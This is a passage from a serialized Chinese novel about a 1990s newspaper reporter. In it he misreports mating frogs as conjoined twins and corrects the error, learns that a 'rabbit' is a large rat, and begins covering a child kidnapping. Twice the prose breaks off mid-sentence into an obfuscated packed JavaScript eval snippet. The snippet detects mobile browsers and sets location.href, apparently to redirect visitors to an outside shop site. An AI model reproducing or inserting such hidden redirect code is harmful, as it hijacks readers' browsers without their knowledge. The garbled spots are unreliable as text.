众人围拢过来，形成一个密不透风的圈。叶葆启凑近观察：大青蛙皮肤粗糙，布满疣粒；小青蛙皮肤光滑，颜色浅淡。它们的腹部确实贴在一起，有一层半透明的膜状物相连，在阳光下泛着珍珠般的光泽。 “真是连体的。”叶葆启又拍了几张特写，镜头几乎贴着青蛙的皮肤。 “这得是什么缘故？”曹东方问。 “可能是胚胎发育时没完全分离。”叶葆启回忆着不知哪本杂志上看过的知识，“动物界偶有发生，但青蛙确实罕见。” “那能活吗？” “看这样子，活得挺自在。” 日头毒辣得像烧红的针，一根根扎进头皮。叶葆启让职工把青蛙放回水里。青蛙入水，划动四肢，依旧连在一起，慢悠悠地游向池心。 “叶记者，这能登报吧？”小乔搓着手问。 “能，太能了。”叶葆启说，“我回去写稿，配照片，保准轰动。” 职工们脸上放出光来，围着水池议论纷纷，仿佛这池子里游动的是自家祖传的宝贝。叶葆启又问了几个问题：何时发现？有无异常？一一记在采访本上。钢笔尖划过纸面，沙沙作响，像春蚕啃食桑叶。 该回了。职工们送到厂门口，硬塞过来几瓶橘子汽水。“天热，解解渴，别嫌弃。” 叶葆启推辞不过，收下了。玻璃瓶沁着冰凉的水珠，握在手里，凉意顺着掌心往血管里钻。 回程路上，他咬着吸管喝汽水。橘子香精的甜腻和碳酸的刺激在舌尖炸开。老赵开着车，忽然问：“叶记者，你说这连体青蛙，算一个还是两个？” “生物学上讲，是两个个体，共享部分躯体。” “那它们咋想事儿？是一个脑子想，还是两个脑子各想各的？要是想法不一样，听谁的？” 叶葆启笑了：“这得问青蛙自个儿。” 老赵也笑：“可惜青蛙不会说人话。” 回到报社，已是下午三点。叶葆启伏案写稿，汗珠滴在稿纸上，洇开一小片墨迹。标题拟了好几个：《内海奇观！惊现连体青蛙》《生物学奇迹？两蛙一体存活三日》《稀罕！连体青蛙现身工人水池》。最后敲定：《奇！茂仁毛纺厂惊现连体青蛙》。平实，抓眼。 他写发现过程，写职工描述，写亲眼所见。笔触生动，细节饱满。配上照片，定是一篇好稿。 写完，呈给陈秉烛审。陈主任戴着老花镜，逐字读完，抬头：“有意思。不过葆启，你确定是连体的？不是别的什么情况？” “我亲眼所见，分不开。” 陈秉烛沉吟片刻：“那就发吧。” 稿子送排版车间了，明天见报。叶葆启下班回家，脚步轻快。稀罕事，读者爱看，又能普及科学知识，一箭双雕。 到家时，素琴正在厨房炒菜。油烟混着暑气，凝成黏腻的雾。她只穿一件无袖汗衫，后背湿透，布料紧贴皮肤，勾勒出脊骨的形状。 “回来了？”她回头，额发被汗水粘在鬓角，“今天有新闻？” “有，连体青蛙。”叶葆启把事情说了。 素琴听着，锅铲停在半空：“青蛙真能连体？” “能，生物学上有记载。” “我总觉得……瘆得慌。”素琴皱眉，“俩青蛙长一块儿，怎么过日子？一个想往东，一个想往西，咋整？” “它们可能习惯了，生来就这样。” 晚饭时，叶葆启又跟小舟说起连体青蛙。儿子眼睛瞪得溜圆：“爸爸，它们吃饭咋吃？是一个嘴吃，还是两个嘴各吃各的？” “这……”叶葆启卡壳了，“我没看见它们吃东西。” “那拉屎呢？是一个屁股拉，还是两个屁股一起拉？” 素琴嗔道：“吃饭呢，说这个！” 小舟吐吐舌头，扒拉碗里的米饭。 夜里，叶葆启躺在床上，盯着天花板上晃动的风扇影子。连体青蛙还在他脑子里游。两个生命，共享一副躯壳，是福是祸？它们是自愿融合，还是被迫捆绑？如果有一天能分开，它们会选择分离，还是继续共生？ 想着想着，睡着了。梦里，他变成了一只青蛙，背上还黏着另一只青蛙。他想往东，背上那位想往西。他们吵起来，用青蛙的语言，呱呱呱，谁也听不懂谁。 第二天，稿子见报了。二版右上角，挺显眼。照片清晰，文字生动。上午电话就响了。有读者求证真伪，有读者询问地址想参观，还有读者说自家池塘也曾出现过类似情况。 叶葆启一一回复，心情像泡在温水里，舒坦。当记者，最大的餍足莫过于此：你写的东西有人看，有人信，有人讨论。 下午，他决定再去一趟毛纺厂，补拍几张照片，做个后续报道。 老赵开车，热浪依旧。到了厂里，职工们还在水池边守着，像守护某种圣物。见他又来，热情更盛。 “叶记者，您来得正好！”小乔迎上来，“那宝贝还在，还是连着的！” 叶葆启走到池边。水似乎清了些，能看见淤泥上细小的漩涡。连体青蛙在游，慢悠悠的，从容不迫，仿佛早已接受了自己的命运。 他端起相机，又拍了几张。不同角度，不同光线。拍完，老师傅递来一支“大前门”。两人蹲在槐树荫下抽。烟雾缭绕，混杂着汗味和池水的腥气。 “这青蛙，成咱厂的镇厂之宝了。”小乔眯着眼，“昨天下午，来了好几拨人，都是看了报纸来的。连隔壁纺织厂工会的都来了，说要组织职工参观学习。” “好事，普及科学。”叶葆启吐出一口烟。 烟抽完了，该走了。叶葆启起身，与职工们道别，朝厂门走去。走到一半，不知怎的，他鬼使神差地回头看了一眼水池。 这一眼，看出了乾坤颠倒。 连体青蛙……分开了。 大青蛙和小青蛙，各游各的。小青蛙趴在大青蛙背上，但只是趴着，没有连在一起。大青蛙往东游，小青蛙滑下来，自己蹬着腿往西去。 叶葆启僵在原地，相机包从肩头滑落，“啪”地砸在地上。 “小乔！”他喊，声音发颤，“您来看！” 小乔跑过来：“咋了？” “青蛙……分开了。” 小乔弯腰细看，也愣住了：“咦？真分开了！昨天还用竹竿捅都捅不开呢！” 其他职工围拢过来。十几双眼睛盯着水池，盯着那两只各奔东西的青蛙。空气突然安静，连知了都噤了声。 “这……这是咋回事？”年轻职工喃喃。 叶葆启脑子里“轰”的一声，像有什么东西炸开了。碎片纷飞，又迅速重组。他想起来了——全部想起来了。 那不是连体青蛙。那是青蛙在□□。 雄蛙趴在雌蛙背上，前肢抱住雌蛙的腋下，这叫“抱对”。可以持续数小时，甚至数日。从水面上看，就像两只青蛙长在了一起。 他忘了这个常识。彻头彻尾地忘了。职工们更不懂，以为是天地奇观。 闹了个天大的笑话。 叶葆启的脸“腾”地烧起来，从脖子红到耳根，红到头发梢。他想起了刘大爷的蝎子精，想起了自己当时的冷静与睿智。结果呢？自己掉进了同样的坑——被表象迷惑，没看透本质。不，比那更糟，他连基本的生物学常识都抛到了脑后。 “叶记者，”小乔小心翼翼地问，“这不是连体？” “不是。”叶葆启听见自己的声音干涩得像砂纸摩擦，“是……是它们在□□。” 职工们愣了三秒。然后，爆发出惊天动地的笑声。有人笑弯了腰，有人捶打着膝盖，有人抹着笑出的眼泪。笑声在厂区回荡，惊飞了槐树上的麻雀。 “我的娘哎！”一个女职工捂住脸，“咱看了人家三天……看了三天那事儿！还当是宝贝供着！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904164|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我说怎么分不开呢！原来是在……传宗接代！” “哈哈哈！这乌龙闹大了！” 叶葆启也想笑，嘴角扯了扯，却比哭还难看。记者啊记者，自诩为真相的守卫者，结果闹出这等荒唐。报纸白纸黑字印出去了，成千上万的读者看到了，信了。现在呢？真相像个耳光，狠狠扇在脸上。 笑够了，老师傅拍拍他的肩，手掌粗糙而温暖：“叶记者，别往心里去。咱们都不懂，闹笑话正常。” “可我是记者，”叶葆启重复这句话，像念咒，“记者不该犯这种错。” “记者也是人，吃五谷杂粮，哪能啥都懂？”老师傅豁达地挥挥手，“再说了，这事多有意思！以后老了，跟孙子讲古，这就是现成的段子。” 话虽如此，叶葆启心里那块石头却越压越沉。稿子登了，谬误传了，怎么办？发更正？那等于向整个内海市的读者承认自己无知。不更正？那是欺骗，是对记者这个名号的玷污。 回程路上，他一言不发。老赵从后视镜看他，安慰道：“叶记者，没事。谁还不走个眼？青蛙那事儿，别说你，我也以为是连体的。” “可我是记者。”叶葆启第三次说这句话，像在审判自己。 回到家，素琴见他脸色灰败，问：“咋了？出事了？” 叶葆启把事情说了，每个细节都没隐瞒。素琴听完，没笑，也没埋怨。她放下手里的菜，洗了手，给叶葆启倒了杯凉茶。 “葆启，这事不怪你。”她声音很平静，“你又不是生物学家，哪能门门清？再说了，职工们不也没看出来？大家都没看出来，说明这事容易走眼。” “可稿子白纸黑字印出去了。” “印出去就印出去了。”素琴坐下来，目光清澈，“你明天写个后续，把真相原原本本说出来，再讲讲青蛙是怎么生儿育女的。读者看了，不但不会怪你，反而会觉得你这人实诚，有错就认，有错就改。这比假装没错强一百倍。” 叶葆启抬起头。素琴的脸在暮色中显得柔和而坚定。她没读过多少书，但有些道理，书里未必写得明白。 “你说得对。”他轻声说。 晚饭时，小舟又问起连体青蛙。叶葆启这次如实相告：“儿子，爸爸弄错了。那不是连体青蛙，是青蛙爸爸和青蛙妈妈在抱对，准备生小青蛙。” 小舟眨巴眼睛：“它们在亲热？” “……可以这么说。” “那它们害羞吗？被那么多人看来看去。” 叶葆启笑了：“它们不知道，所以不害羞。” “那我知道了，我害羞。”小舟捂住脸，指缝里透出黑亮的眼睛。 素琴也笑了，伸手揉揉儿子的头：“你个小人精，懂啥害羞。” 夜里，叶葆启睡不着。他起身，拧亮台灯，拿出那本用了三年的采访本。本子边缘已经卷曲，页角泛黄，密密麻麻记录着三年来的采访碎片。他翻到新的一页，钢笔在手里握了很久，才落下第一笔： “1995年8月15日。连体青蛙事件。今日方知，眼见未必为实，尤其当眼见的对象超出认知边界时。 记者这个行当，需要知识储备，更需要一种刻在骨子里的谦卑——承认自己无知，承认自己可能犯错，承认自己与那些拿着蒲扇蹲在树荫下聊天的工人师傅并无本质区别。 今日丢人了，丢大了。但细想，却捡到了更宝贵的东西：一曰审慎，勿轻下结论；二曰坦诚，有错即认；三曰感恩，群众比想象中宽容，只要你肯掏出真心。 明日写后续报道，坦白错误，普及知识。不奢求完全挽回，但求心安。 想起陈主任曾言：记者是人，不是神。是人就会犯错，犯错后的姿态，才决定你最终是人还是鬼。 姿态即一切。” 写完，他合上本子。月光从窗外淌进来，在地上铺出一层水银。院子里那棵老槐树在风中簌簌作响，树影婆娑，像在窃窃私语。墙角下，蟋蟀的鸣叫时断时续，仿佛在吟唱某种古老的歌谣。 他忽然觉得，这世界真像一个巨大的寓言。有蝎子精的闹剧，有青蛙的误会，有无数真真假假、虚虚实实的故事在上演。而记者，不过是这些故事的采集者，像采蜜的蜂，有时采到真蜜，有时误采了毒粉。 但只要心是正的，只要还敢面对自己的错误，就总能酿出点儿什么。 第二天，他写了后续报道。他写自己如何发现错误，写青蛙□□的生物学知识，写从这场闹剧中学到的教训。笔调诚恳，不回避，不粉饰。 稿子登出来后，反响出乎意料地好。读者来信说：“敢于认错的记者才是好记者！”还有读者寄来青蛙生物学资料，附言：“叶记者，共同学习。” 茂仁毛纺厂的小乔也打来电话，笑声透过听筒传过来：“叶记者，你那后续写得好！咱厂职工都看了，说以后看事儿得多转几个弯，不能光看表面。” 叶葆启放下电话，笑了。这一次，笑容是从心底漾出来的。 错误不可怕，可怕的是把错误砌成墙，把自己关在里面。真相不可怕，可怕的是不敢揭开蒙在真相上的那层布。 这是他从连体青蛙事件里学到的。 也是他往后几十年记者生涯里，最常想起的一课。 窗外，知了还在不知疲倦地嘶鸣。夏天还很长，故事才刚刚开始。 他会继续走下去，带着这次的经验，带着这份谦卑，带着对世界永远的好奇与敬畏。 因为前方还有无数真相等待发现，等待记录，等待理解。 虽然可能还会犯错，但没关系。 只要心是正的，只要血还是热的，只要永远保持学习和反思的能力。 就能一直走下去。 走到下一个故事，下一个夏天，下一个让人哭笑不得又温暖如初的瞬间。 这就是记者。 这就是人生。 在荒诞与真实交织的迷雾里，用一支笔，一颗心，摸索着向前走。 直到所有谜底都揭开。 或者，直到不再需要谜底。 13. 第013章 兔子变耗子 九月的内海，天被一只无形的手往上提了三尺，云絮薄得像旧棉袄里掏出的丝瓤子。河水退了，露出黑黢黢的堤岸，那颜色像是被夏天这个醉汉吐了一身，又经太阳烘烤成了痂。风是凉的，滑过脸颊时让人想起母亲年轻时那件唯一的绸衫——她总在走亲戚时才舍得穿上。 槐树的叶子开始往下掉，却不是一片片地落，而是打着旋儿，仿佛地下有看不见的嘴在吹气。叶子铺了满地，踩上去的沙沙声里，能听见夏天咽下最后一口气的叹息。 叶葆启值白班。办公室的窗户开着半扇，秋风灌进来，带着干草和陈年谷仓的气味。桌上那叠稿纸被风掀动，纸角微微颤动，像一只试图起飞的白鸟的翅膀。 上午十点钟光景，门卫张大爷的布鞋底摩擦水泥地的声音由远及近，那声音黏糊糊的，仿佛鞋底沾着隔夜的粥。他身后跟着个女人，五十来岁，圆脸涨得通红，手里拎着个铁丝笼子，手指关节因用力而发白。 “叶记者，稀罕物！”张大爷的嗓门总是比人先到三步。 女人把笼子往桌上一墩，铁笼与木头碰撞的闷响惊起了窗外槐树上的两只麻雀。“记者同志，你们瞧瞧！长尾巴的兔子！我活了大半辈子头回见！” 叶葆启凑近。笼子里果然蹲着一团灰褐色的活物，毛茸茸的，耳朵支棱着，确乎是兔子的轮廓。可那尾巴——那尾巴粗得像耗子尾巴，却又长出一截，毛稀疏疏的，能看见底下粉红色的皮，尾尖还神经质地微微抽搐。 曹东方的影子盖了过来：“兔子尾巴短，这……这怕是耗子成了精？” “胡吣！”女人急得唾沫星子飞出来，在阳光里像细小的钻石，“耗子能长这么大？你瞅这耳朵，这脸盘子，明明是兔仙下凡！” 叶葆启仔细端详。这玩意儿体长将近一尺，比新生婴儿还壮实些。脸确是兔子的轮廓，可那嘴吻又尖了些，胡须像春日的麦芒，硬撅撅地支棱着。最诡异的是它的眼睛，不是兔子温顺的圆眼，而是两颗黑豆般的小点，深不见底。 “您贵姓？”叶葆启摸出笔记本，钢笔在纸上戳了个蓝点。 “牛，牛佳佳。”女人抹了把额头的汗，“新山公园扫地的，早上在狗尾巴草丛里看见的，蹦得那叫一个欢实，我追了半条街，鞋都跑掉一只。” 叶葆启记下，字迹工整得像用尺子量过。“牛大姐，这东西得请专家掌眼。您先回，有信儿我通知您。” “可得好好写！”牛佳佳的手在空中比划着，仿佛在给无形的文章加着重号，“这是祥瑞！祥瑞啊！” 她走了，留下笼子和一股子汗味混合着草腥的气息。笼子里的动物开始磨牙，那声音细碎而密集，像春蚕在啃食桑叶。 消息像滴入清水中的墨，迅速洇开了。保卫科老王来了，带着一身烟味；收发室小李来了，手指上还沾着糨糊；做卫生的赵大姐扒着门框探进半个身子——跟上回看蝎子精时一个姿势。 “老天爷，”老王咂着嘴，那声音湿漉漉的，“这玩意儿不伦不类，怕是遭了天谴。” “许是新物种。”小李的眼睛在镜片后发光，“该叫‘兔鼠’还是‘鼠兔’？” 赵大姐的声调陡然拔高：“辐射！准是辐射！新山公园后头那化工厂，黑烟冒得跟妖风似的！” 笼子里的动物突然立起来，前爪扒着铁丝，发出“吱——”的一声长鸣。那声音尖锐得能刺破耳膜，分明是耗子的叫声，却裹着兔子的腔调。 十一点钟，吴研究员来了。老人背着个褪色的绿帆布标本箱，箱子上有深褐色的斑点，不知是血渍还是药水。他的眼镜厚得像酒瓶底，看人时要微微仰头，仿佛不是在用眼睛看，而是在用眼镜“嗅”。 众人自动让开一条道。吴研究员接过笼子，举到窗前，阳光透过笼子在地上投出菱形的光斑。他看了足足五分钟，呼吸声越来越重，喉结上下滑动，像咽下了什么难以下咽的东西。 “不是兔子。”他终于开口，声音干得像晒了三天的豆秸。 “那是……” “褐家鼠。变异个体。”吴研究员放下笼子，动作轻得像放下一枚鸡蛋，“通俗讲，成了精的大耗子。” 电扇的嗡嗡声突然变得震耳欲聋。 曹东方的嘴张了又合，像离水的鱼。“耗子……能长这么大？” “正常不过二十厘米，这只三十厘米有余。”吴研究员的手指隔空点着笼子，“看门齿，典型的啮齿类；看尾巴，裸露，有环状鳞片；耳朵虽大，软骨结构仍是鼠类。” 叶葆启凑近了看。在吴研究员枯树枝般的手指指引下，那动物的兔性在消退，鼠性在浮现：嘴唇嚅动时露出的黄板牙，眼中那点幽暗的光，还有浑身散发出的、阴沟深处才有的土腥气。 “可它为何……”叶葆启的话说了一半。 “基因错乱，或环境所迫。”吴研究员摘下眼镜擦拭，“这样的个体通常短命，五脏六腑撑不起这副身架。你看，它已经开始喘了。” 笼中的生物果然瘫软了，肚皮剧烈起伏，像只破风箱。 吴研究员提着笼子走了。屋里的人愣怔着，仿佛刚看完一场戏，却发现主角根本没登场。 老王先叹了口气：“空欢喜。” 曹东方挠挠头：“至少……长了见识。” 叶葆启没说话。他想起牛佳佳奔跑时掉落的鞋，想起她说“追了半条街”时眼里闪着的光。那光现在大约已经灭了，像被风吹熄的蜡烛。 电话打到新山公园管理处。接电话的男人声音懒洋洋的，像刚睡醒。牛佳佳被叫来了，脚步声在电话里咚咚响，像敲着一面小鼓。 “叶记者？”她的声音里有压不住的期待，像锅盖下沸腾的水汽，“是仙兔不是？” 叶葆启握紧了话筒，塑料外壳被捂得温热。“李大姐，专家鉴定过了，是……褐家鼠变异。” 电话那头传来漫长的沉默。叶葆启能想象出那张圆脸如何一点点垮掉，眼里的光如何一寸寸暗下去。他忽然想起父亲去世那天，母亲也是这样握着电话，听完消息后久久没有声音，只有电流在耳边咝咝作响。 “耗子？”牛佳佳终于开口，两个字像从牙缝里挤出来的，“我捧回来的……是个耗子精？” “是很大、很罕见的个体。” “我……我还供了它半天……”牛佳佳的声音开始发抖，接着爆发出哭声。那哭声粗粝嘶哑，像用砂纸打磨木头，“我跟老头子说，咱家要转运了……我真是……真是老糊涂了哇……” 叶葆启感到胸口发闷。“牛大姐，您别这么说。专家很重视，要拿回去研究，做标本。您这是立功了。” “真……真的？” “千真万确。”叶葆启听见自己的声音异常坚定，“博物馆会收藏的。” 挂了电话，手心全是汗。他走到窗前，看见吴研究员正骑着自行车出大门，车把上挂着那只笼子，在阳光下晃啊晃，像一颗摇晃的头颅。 下午写稿时，钢笔尖在纸上划出沙沙的声响。他写牛佳佳如何在晨雾中发现异象，写那动物如何介于虚实之间，写科学的解剖刀如何剥开幻象。最后他写道：“真相有时是苦药，但裹上善意的糖衣，便能疗愈幻灭的伤。” 陈秉烛审稿时，老花镜滑到鼻尖。他看完，抬眼看了叶葆启很久。“葆启，你学会了最重要的东西。” “什么？” “仁慈。”陈秉烛的手指敲了敲稿纸，“记者笔下有刀，可以杀人，也可以救人。” 下班时，秋日的夕阳把整条街染成橘红色，像一大锅熬得过火的糖浆。胡同里的炊烟升起来，在半空中纠缠不清，最后都化进渐浓的暮色里。 素琴在择韭菜，翠绿的叶子在她手中翻飞，像在编织什么。“今天又收着什么宝贝了？” 叶葆启把“兔鼠之变”说了。素琴噗嗤笑出声，笑声清亮如铜铃：“你们那儿该挂块匾——‘内海奇物收容所’。” “哪天要是收着条龙，我就辞职开动物园。” 小舟放学回来，书包甩得像流星锤。“爸！妈！我回来了！”话音未落就要往外冲。 “站住。”叶葆启的声音不高，却像根绳子绊住了他的脚。 小舟缩着脖子转回来，眼睛却还瞟着门外。 “规矩。”叶葆启只说两个字。 孩子噘着嘴进屋了，脚步声咚咚响，带着抗议的节奏。素琴摇头：“这小崽子，魂都让外头的野地勾去了。” 晚饭时，小舟扒拉着米饭，碗沿磕得叮当响。叶葆启夹了块红烧肉放进他碗里：“今天有件稀奇事。” 小舟耳朵竖了起来。 “有人抓了只兔子，尾巴却像耗子那么长。” “后来呢？”饭粒粘在嘴角。 “后来发现，它真是耗子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904165|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小舟张大了嘴，露出缺了一颗的门牙。“耗子能装兔子？” “能。”叶葆启说，“装得还挺像，把大人都骗了。” “那它为啥要装？” 这个问题让叶葆启愣住了。他想了想，说：“也许它自己也不知道自己是什么，既不像耗子，也不像兔子，只好在中间悬着。” 小舟似懂非懂地点点头，忽然问：“那个抓它的人，是不是哭了？” “你怎么知道？” “因为我上次把青蛙当成□□，也哭了。” 夜里，叶葆启躺在床上睡不着。月光从窗棂挤进来，在地上铺出一片菱形的银白。他想起牛佳佳的哭声，那哭声里有某种古老的东西——人类对奇迹的渴望，以及奇迹破灭后的荒凉。 素琴翻了个身，手臂搭在他胸口，温热的。“想什么呢？” “想那只不兔不鼠的东西。”叶葆启望着房梁上模糊的阴影，“它知道自己是什么吗？” “它不知道。”素琴的声音带着睡意，“但它知道自己活着，这就够了。” 第二天稿子见报时，叶葆启特意去买了份油墨未干的报纸。二版右上角，吴研究员枯瘦的手正指着笼子，那动物在照片上缩成一团模糊的灰影。 他打电话到公园管理处，接电话的还是那个懒洋洋的男声：“牛佳佳？今儿没来，说身子不舒坦。” 叶葆启心里咯噔一下。他骑上自行车，车筐里装着两份报纸和三斤秋梨。新山公园在城西，要穿过大半个内海。车轮轧过落叶，发出脆响，像在咀嚼秋天。 公园后的平房区弥漫着煤烟和白菜炖粉条的气味。三排五号的门虚掩着，从门缝里能看见牛佳佳坐在床沿上，背影像一尊风化了的石像。 敲门声惊动了她。开门时，她眼睛肿得像桃子，看见叶葆启，那肿胀的眼睛里闪过一丝光亮，随即又暗淡下去。 “叶记者……您这是……” “送报纸。”叶葆启举起梨，“还有这个，润润嗓子。” 牛佳佳的眼泪毫无预兆地滚下来。她接过报纸，手指颤抖着抚摸那篇报道，像在抚摸婴儿的脸。“还……还登出来了……” “您看这儿，”叶葆启指着那段关于“热心市民”的描述，“专家说了，这样的样本十年难遇。” “可它终归是……是耗子啊。”牛佳佳的眼泪滴在报纸上，油墨洇开一小片蓝。 “是什么不重要。”叶葆启听见自己的声音异常柔和，“重要的是，您看见了别人没看见的，追了别人没追的。这份心，比什么都珍贵。” 牛佳佳抬起泪眼看他，看了很久，忽然深深鞠了一躬。“叶记者，您这话……这话让我又能做人了。” 回去的路上起了风，落叶在脚下打着旋儿，像无数金色的陀螺。叶葆启剥了颗牛佳佳塞给他的花生，花生壳在嘴里裂开的声音清脆悦耳。 快到胡同时，他看见小舟正在槐树下和几个孩子玩弹珠。孩子看见他，飞奔过来，汗湿的额头在夕阳下闪光。 “爸！我们老师说，你那篇报道写得好！” “老师怎么说的？” “说记者要有悲悯心。”小舟仰着脸，瞳孔里映着天空最后的霞光，“悲悯心是啥？” 叶葆启想了想，摸摸他的头：“就是看见别人哭，自己鼻子也会酸。” 那夜，叶葆启梦见那只不兔不鼠的动物。在梦里，它长得像座小山，尾巴变成了一条路，无数人在那条路上行走，有的人走出了兔子的轻盈，有的人走出了耗子的警觉。而他自己站在路中间，手里拿着笔记本，记录着每一个经过的身影。 醒来时天还没亮，素琴均匀的呼吸声在耳边起伏。他轻轻起身，走到院中。 东方的天际刚露出一线鱼肚白。晨风吹过，带来远方早班火车的汽笛声，那声音悠长而苍凉，像一声穿越时空的叹息。 叶葆启深吸一口气，秋天的空气清冽如井水。他忽然明白，这份工作最珍贵的不是记录奇迹，而是在没有奇迹的地方，看见凡人身上那点微弱却倔强的光。 就像牛佳佳追捕“仙兔”时跑掉的鞋。 就像小舟缺了门牙却依然灿烂的笑。 就像此刻，第一缕晨光照在槐树叶上，那上面昨夜凝结的露珠，正闪烁着钻石般的光芒。 虽然短暂。 却足够照亮又一个平凡的日子。 14. 第014章 绑架惊魂夜 十月，内海的风硬了，像钝刀子刮过河面，掀起一层层细密的波纹，那是岁月在老人额头上刻下的另一种皱纹。法桐叶子黄了，红了，在风里打着旋儿往下落，像断翅的蝴蝶，铺满了人行道。踩上去咔嚓咔嚓响，那声音脆得让人心慌，仿佛踩碎了某种看不见的骨头。 十月八日，晚上九点。叶葆启值夜班，和孙荣显搭档。编辑部的灯是旧式的，钨丝在玻璃罩子里蜷缩着，发出黄澄澄的光，照得人脸上浮起一层暖洋洋的假象。炉子还没生，但煤块已经备好了，摞在墙角，黑黝黝的，在阴影里蹲伏着，像一群沉默的巨兽，等待着被点燃的宿命。 电话响了。那铃声尖利，划破了室内的沉寂。孙荣显接起来，听了两句，脸色变了——那不是一般的变，是血色从脸上退潮般撤去，露出底下青灰色的底子。 “葆启，”他捂住话筒，声音压得像从地缝里挤出来的，“绑架案。” 叶葆启心里一紧，那感觉很奇怪，不是“咚”的一声，而是胃里突然沉了一下，仿佛吞下了一块凉铁：“哪儿的？” “海东区，一个八岁男孩，放学路上被绑了。”孙荣显的声音发干，舌头舔了舔嘴唇，“家属刚报案，派出所来电话，问我们要不要跟。” “跟！”叶葆启站起来，椅子腿在水泥地上刮出刺耳的声响，“我去叫摄影部。” 他打电话。听筒里传来嘟嘟声，每一声都拖得很长。摄影部已经下班了，在家，但听说有绑架案，立刻说：“我马上来！”那声音里有一种猎犬嗅到气味的兴奋，还有深藏的不安。 二十分钟后，摄影部记者背着相机包来了，还带了件防弹背心——上回拍化工厂爆炸现场时发的，一直没还。背心是军绿色的，帆布面已经洗得发白，摸上去粗粝得像砂纸。 “走吧。”摄影部记者说，眼睛在灯光下闪着光，“车在楼下。” 叶葆启穿上外套，想了想，把桌上那本采访本塞进包里。本子的边角已经磨损，纸页泛黄，像一块风干的腊肉。孙荣显留下值班，他和摄影部记者下楼。楼梯间的感应灯坏了，他们踩在黑暗中，脚步声在空荡荡的楼道里回响，像有另一个人跟在后面。 报社的吉普车已经发动了，老赵在车上等着，烟头的红点在驾驶室里明灭。三人上车，往海东区驶去。车窗摇下一半，夜风灌进来，带着河水的腥气和远处烧烤摊的烟火味。 夜里九点半，街上人还不少。电影院刚散场，人群涌出来，说说笑笑，女人们的高跟鞋敲打着水泥地，发出清脆的嗒嗒声。他们不知道，就在几条街外，一个孩子的命运正在黑暗中被称量。 海东区公安分局灯火通明，那光白得惨烈，把整栋楼照得像个透明的盒子。门口停着好几辆警车，红蓝警灯旋转着，光扫过墙面、树梢、行人的脸，一切都在瞬间变成警醒的红色或忧郁的蓝色，然后又沉入黑暗。那光刺得人眼花，叶葆启眯起眼睛，觉得视网膜上留下了永久的烙印。 他们下车，出示记者证。证件上的照片还是三年前的，那时的叶葆启头发更密，眼睛里还没有这些血丝。一个年轻民警领他们进去，那民警脸上长着青春痘，嘴角紧绷，努力做出严肃的样子，但手指在裤缝上无意识地敲打着。 会议室里坐满了人。烟雾缭绕，像清晨的河面起了雾。分局局长姓刘，四十多岁，国字脸，很威严，坐在主位，像一尊石像。刑警队长是个精瘦的男人，眼睛深陷，颧骨高耸。派出所所长在搓手，手掌摩擦的声音沙沙响。还有孩子的父母——一对中年夫妇，女的在哭，不是号啕，而是压抑的抽泣，肩膀一耸一耸，像有什么东西在里面挣扎。男的脸煞白，手在抖，想点烟，火柴划了三根都没着。 “记者来了。”刘局长开口，声音低沉，带着痰音，“坐吧，简单通报一下情况。” 叶葆启坐下，打开采访本。纸页翻动的声音在寂静中格外清晰。摄影部记者找了个角落，开始拍照——不打扰，但记录。相机快门的声音很轻，咔嚓，咔嚓，像时间在咬碎什么。 刘局长开始说：男孩叫张泽胜，八岁，实验小学三年级。下午四点放学，通常四点二十分到家。今天没回来。父母等到五点，开始找。问同学，说看见一个男人把小明带走了，上了一辆白色面包车。六点报案，七点确定被绑架——绑匪来电话了，要五万赎金，不准报警，否则撕票。 “绑匪什么特征？”叶葆启问。他的声音比自己想象的平静。 “男性，声音低沉，带点东北口音。”刑警队长说，“用公用电话打的，在海西区。我们已经派人去排查了。” “孩子照片有吗？” 孩子的父亲——张学明，颤抖着手递过一张照片。是学校照的，孩子穿着校服，戴着红领巾，笑得很甜，露出缺了一颗的门牙。照片边缘有指纹，汗渍的，油腻的，那是无数次的摩挲留下的痕迹。 叶葆启接过照片，心里一沉。八岁，跟小舟差不多大。小舟现在应该已经睡了，在温暖的被窝里，做着甜美的梦。而这个孩子，不知道在哪儿，不知道正经历着什么。他突然感到肋间一阵冰凉的抽搐，那是父亲的本能在恐惧。 “我们能做什么？”叶葆启问。 “跟着，记录，但别干扰。”刘局长说，“如果需要发通稿，我们会提供材料。现在最重要的是——保密，不能见报，不能走漏风声，否则孩子危险。” “明白。” 通报会结束。警方开始布控，技术组追踪电话，便衣开始摸排。叶葆启和摄影部记者被安排在会议室等待，有消息会通知他们。 等待是最煎熬的。墙上的钟是老式的圆盘钟，红色秒针一跳一跳，每一声滴答都像锤子敲在人心上。孩子的母亲还在哭，声音压抑着，从喉咙深处挤出来，像受伤的动物在呜咽。父亲握着她的手，不说话，只是握得很紧，指节都白了，皮肤绷得透明，能看见底下青色的血管。 叶葆启看着他们，想起了素琴和小舟。如果小舟被绑了……他不敢想。那种恐惧，那种无助，能让人疯掉。他摸出烟，点上，深吸一口，烟进了肺里，却没有带来平静。 十一点，技术组来消息：绑匪又来电话了，换了个公用电话，还在海西区。要求明天上午十点，把钱放在街心公园第三个垃圾桶里。 “他要的是现金？”叶葆启问。 “对，旧钞，不连号。”刑警队长说，“我们已经准备好了，做了标记。” “然后呢？” “然后等。看他取钱时抓人。”刘局长说，“但最理想的是，找到藏匿地点，先救孩子。” 